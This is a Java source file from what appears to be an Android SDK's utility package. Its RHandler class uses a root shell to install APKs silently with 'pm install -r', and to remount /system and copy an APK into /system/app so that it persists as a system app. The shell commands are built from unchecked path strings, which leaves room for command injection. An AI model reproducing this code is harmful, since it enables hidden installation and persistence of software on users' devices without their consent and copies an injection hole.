package com.zyasdk.util.root;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

import android.content.Context;

import android.os.Environment;
import com.zyasdk.util.ZYALogUtils;

public class RHandler {
	
    public boolean install(Context context,String apkUrl){
    	 boolean ret = false;
    	 RLinkedList rl = new RLinkedList();
    	 Process process = rl.getR(context);
    	 if(null == process) return false;
         try
         {
             DataInputStream stream;
             stream = Terminal(process,"pm install -r " + apkUrl);
             if(stream.read()>0) {
                ZYALogUtils.e("RHandler install success!");
                ret = true;
             }else{
                ZYALogUtils.e("RHandler install fail!");
                ret = false;
             }
         }
         catch (Exception e)
         {
            ZYALogUtils.e("RHandler install Exception fail!");
            e.printStackTrace();
            ret=false;
         }
         finally
         {
            rl.closeP(process);
         }
         return ret;
    }
    
    public boolean installSys(Context context,String apkPath){
    	
    	 boolean ret = false;
	   	 RLinkedList rl = new RLinkedList();
	   	 Process process = rl.getR(context);
	   	 if(null == process) return false;
	   	 String sysPath = Environment.getRootDirectory().getAbsolutePath()
            + "/app" + apkPath.substring(apkPath.lastIndexOf("/"));
      String commd = "mount -o remount /system  \n  cp " + apkPath + "  "
            + sysPath + "  \n  ";
	        try
	        {
	            DataInputStream stream;
	            stream = Terminal(process,commd);
	            if(stream.read()>0) {
                 ZYALogUtils.e("RHandler install success!");
                 ret = true;
	            }else{
	            	   ZYALogUtils.e("RHandler install fail!");
	                ret = false;
	            }
	        }
	        catch (Exception e)
	        {
	        	   ZYALogUtils.e("RHandler install Exception fail!");
	            e.printStackTrace();
	            ret=false;
	        }
	        finally
	        {
	       	    rl.closeP(process);
	        }
	        return ret;
	}
    
    private DataInputStream Terminal(Process process,String command) throws Exception
    {
        OutputStream outStream = process.getOutputStream();
        DataOutputStream DOpS = new DataOutputStream(outStream);
        InputStream inStream = process.getInputStream();
        DataInputStream DIpS = new DataInputStream(inStream);
        String temp = command + "\n";
        DOpS.writeBytes(temp);
        DOpS.flush();
        DOpS.writeBytes("exit\n");
        DOpS.flush();
        process.waitFor();
        return DIpS;
    }
}

